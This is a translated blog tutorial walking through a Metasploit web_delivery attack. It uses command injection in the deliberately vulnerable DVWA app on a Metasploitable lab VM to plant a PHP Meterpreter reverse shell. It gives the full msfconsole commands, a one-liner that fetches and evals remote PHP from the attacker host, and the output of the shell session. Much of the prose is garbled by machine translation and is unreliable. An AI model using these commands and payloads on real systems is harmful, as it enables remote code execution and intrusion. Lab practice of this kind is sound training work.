Web Delivery Script and commands of Metasploit inject ejected Shell

One of the best ways to improve hacking skills is to learn how to achieve success by combining different means of attack. What if it is possible to connect victims to our machines and implement selected payloads on our behalf? It is indeed possible for all-powerful Metasploit and a technique called command injection.

Today, we will use Kali Linux and Metasploit for attacking vulnerable Web application DVDWA, which is included in the Metasploitable 2 virtual machine.

Overview of Web

Metasploit contains a useful module for hosting payloads on servers created on attack computers. Once the target machine is connected to the server and then performs the payload, it runs web-transmitting scripts. This module has many functions because it can be used against Python, Powershell and PHP applications.

The main advantage of web-based delivery scripts is invisibility. Servers and payloads are hosted on attack computers, so that when an attack is carried out the target does not have any content written into disks, making it unlikely to trigger anti-virus applications or other defences.

A warning from this loophole is that it needs a method of enforcing orders on target to close the script. One possible way to apply in such cases is by ordering injections.

Orders to enter the door.

Command injection is an attack in which a random operating system command is executed on the mainframe through a vulnerable Web application. This usually happens when the application enters unsafe users from form to server, but it can also occur in cookies, HTTP header and other data sources.

This type of loophole is particularly dangerous because of the inherent function of a system command.

Step one, start the DVD.

The first thing we need to do is open the DVD and log in with a default.

Next, go through the DVD Security tab and set security level to “low” to make sure that when we’re ready, no hiccups are exploited.

Step two, find a vulnerable entry point.

Now we can navigate to the “Command Exchange” page. To make this attack work, we must ensure that target applications are able to communicate with local computers. We can use this page’s default functionality to ping our attack computer. Just type an IP address and click on ” Submit.”

The next thing we need to do when we get a successful response is make sure this page is vulnerable to command injection. We can do that by attaching the operating system commands to the IP address we entered. Here, we’ll use them.&&Symbol AddI don’t know what to do with it.command and click ” Submit” again.

We can see that the application responds with the contents of the current directory at the bottom, which means there is a real command-injecting loophole. We’ll use this to start our Web delivery script next.

Step three, start Web Delivery Script.

By typing in terminalmsfconsoleTo start Metasploit . We can load the Web Delivery Module using the following commands.

msf > use exploit/multi/script/web_delivery

Under the hint, typeOptionsto display the current settings of this module.

msf exploit(multi/script/web_delivery) > options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Python

We need to select the appropriate target type, which is PHP in this case. Note that for this module to work properly, you have to set a target before selecting a payload.show targetsto get the list of available options.

msf exploit(multi/script/web_delivery) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Python
   1   PHP
   2   PSH
   3   Regsvr32
   4   PSH (Binary)

Now we can set the rest of the options. Execute each command in sequence as shown below.Set Target, it’s the ID in the list above.Payload CollectionIt’s our use. In this case, PHP / Meterpreter will/reverse_tcp payload.set lhostIt’s the host address.set lportIt’s our listening port.

msf exploit(multi/script/web_delivery) > set target 1
target => 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf exploit(multi/script/web_delivery) > set lport 1234
lport => 1234

Finally, we’re ready to launch an attack. Type in the hint.Run!The server on our local computer will be activated. The last line provided by the running gap, as shown below, is very important because it shows the command that needs to be implemented in the target system.

msf exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 172.16.1.100:1234
[*] Using URL: http://0.0.0.0:8080/ko3Rb1zps9VTa
[*] Local IP: http://172.16.1.100:8080/ko3Rb1zps9VTa
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.1.100:8080/ko3Rb1zps9VTa'));"

Step four, move the attack.

We can use the command we discovered earlier to inject holes as a simple means of attack. So, copy the last line and use it.&&Add it to the IP address on DVWA’s “Order Execute” page, as we did earlier when we looked at whether the page was vulnerable.

If everything goes according to plan, once we click ” Submit,” our payload will be executed and will open the MeterPreter session. Back at the terminal, we can see what’s happening.

msf exploit(multi/script/web_delivery) > [*] 172.16.1.102     web_delivery - Delivering Payload
[*] Sending stage (37775 bytes) to 172.16.1.102
[*] Meterpreter session 1 opened (172.16.1.100:1234 -> 172.16.1.102:57343) at 2018-10-22 11:12:05 -0500

But we don’t automatically enter sessions, so we can use them.sessionscommand to view the active session that is opened.

msf exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                   Information                     Connection
  --  ----  ----                   -----------                     ----------
  1         meterpreter php/linux  www-data (33) @ metasploitable  172.16.1.100:1234 -> 172.16.1.102:57343 (172.16.1.102)

To interact with the event, please usesessions -icommand, followed by the corresponding session ID.

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux

Now we can run like…getuidandsysinfoThis MeterPreter command displays information about the target machine. We can also use it.shellCommand entry.shell。

meterpreter > shell
Process 4869 created.
Channel 0 created.
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4656 ?        00:00:00 apache2
 4658 ?        00:00:00 apache2
 4661 ?        00:00:00 apache2
 4663 ?        00:00:00 apache2
 4665 ?        00:00:00 apache2
 4761 ?        00:00:00 apache2
 4793 ?        00:00:00 apache2
 4855 ?        00:00:00 php
 4856 ?        00:00:00 sh
 4858 ?        00:00:00 php
 4869 ?        00:00:00 sh
 4873 ?        00:00:00 ps

From here, we can send it.Whomi etc.Command to view the current user,uname -aShow operating system information,Ps.You can see the list of processes that are running. By using command injections in vulnerable Web applications, we can execute our Web transfer script and get shell on target without writing anything into disks.

未经允许不得转载:萌萌Apprentissage » Web Delivery Script and commands of Metasploit inject ejected Shell

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本